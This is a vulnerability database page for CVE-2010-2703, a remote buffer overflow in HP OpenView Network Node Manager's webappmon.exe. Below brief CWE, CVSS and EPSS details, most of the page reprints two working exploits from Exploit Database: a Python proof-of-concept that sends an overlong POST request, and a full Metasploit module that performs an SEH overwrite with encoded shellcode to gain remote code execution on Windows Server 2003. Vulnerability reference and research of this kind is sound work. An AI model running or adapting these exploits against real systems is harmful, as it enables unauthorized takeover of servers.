Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14916
Publication date : 2010-09-05 22h00 +00:00
Author : Abysssec
EDB Verified : Yes
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
'''
Title : HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution
Version : OpenView Network Node Manager 7.53
Analysis : http://www.abysssec.com
Vendor : http://www.hp.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2703
http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/
'''
import socket,sys
ip = "localhost"
port = 80
target = (ip, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
exp = "A"*250000
headers = "POST /OvCgi/webappmon.exe HTTP/1.0\r\n"
headers += "From:
[email protected]\r\n"
headers += "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n"
headers += "Content-Type: application/x-www-form-urlencoded\r\n"
arg = 'ins=%s&sel=%s&app=%s&act=%s&arg=%s&help=%s&cache=1600 HTTP/1.1\r\n' % ("nowait", "localhost",exp,"ping",exp,exp)
headers += 'Content-Length: %d\r\n' %(len(arg))
headers += "\r\n"
headers += arg
s.sendall(str(headers))
while 1:
buf = s.recv(1000)
if not buf:
break
sys.stdout.write(buf)
s.close()
Exploit Database EDB-ID : 17030
Publication date : 2011-03-22 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info={})
super(update_info(info,
'Name' => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in HP NNM's webappmon.exe.
The vulnerability occurs when function "execvp_nc" fails to do any bounds-
checking before strcat is used to append user-supplied input to a buffer.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12086 $",
'Author' =>
[
'shahin <shahin[at]abysssec.com>',
'sinn3r',
],
'References' =>
[
['CVE', '2010-2703'],
['OSVDB', '66514'],
],
'Payload' =>
{
'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => {'BufferRegister'=>'ECX'},
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'AutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
],
'DisclosureDate' => "SEP 6 2010"))
register_options(
[
Opt::RPORT(80),
], self.class)
end
def exploit
nops = make_nops(1000)*10
sploit = nops[0, 5455]
sploit << generate_seh_record(target.ret)
sploit << "\x61"*13
sploit << "\x51"
sploit << "\xc3"
sploit << nops[0, 57]
sploit << payload.encoded
sploit << nops[0, 10000-sploit.length]
post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"
connect
print_status("Sending malicious request...")
send_request_raw({
'uri' => '/OvCgi/webappmon.exe',
'data' => post_data,
'version' => '1.1',
'method' => 'POST',
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive' => '300',
'Connection' => 'Keep-Alive',
'Cache-Control' => 'max-age=0',
'Content-Length' => post_data.length,
'Content-Type' => 'application/x-www-form-urlencoded',
}
}, 3)
handler
disconnect
end
end
Products Mentioned
Configuraton 0
Hp>>Openview_network_node_manager >> Version 7.51
Hp>>Openview_network_node_manager >> Version 7.53
Microsoft>>Windows >> Version *
References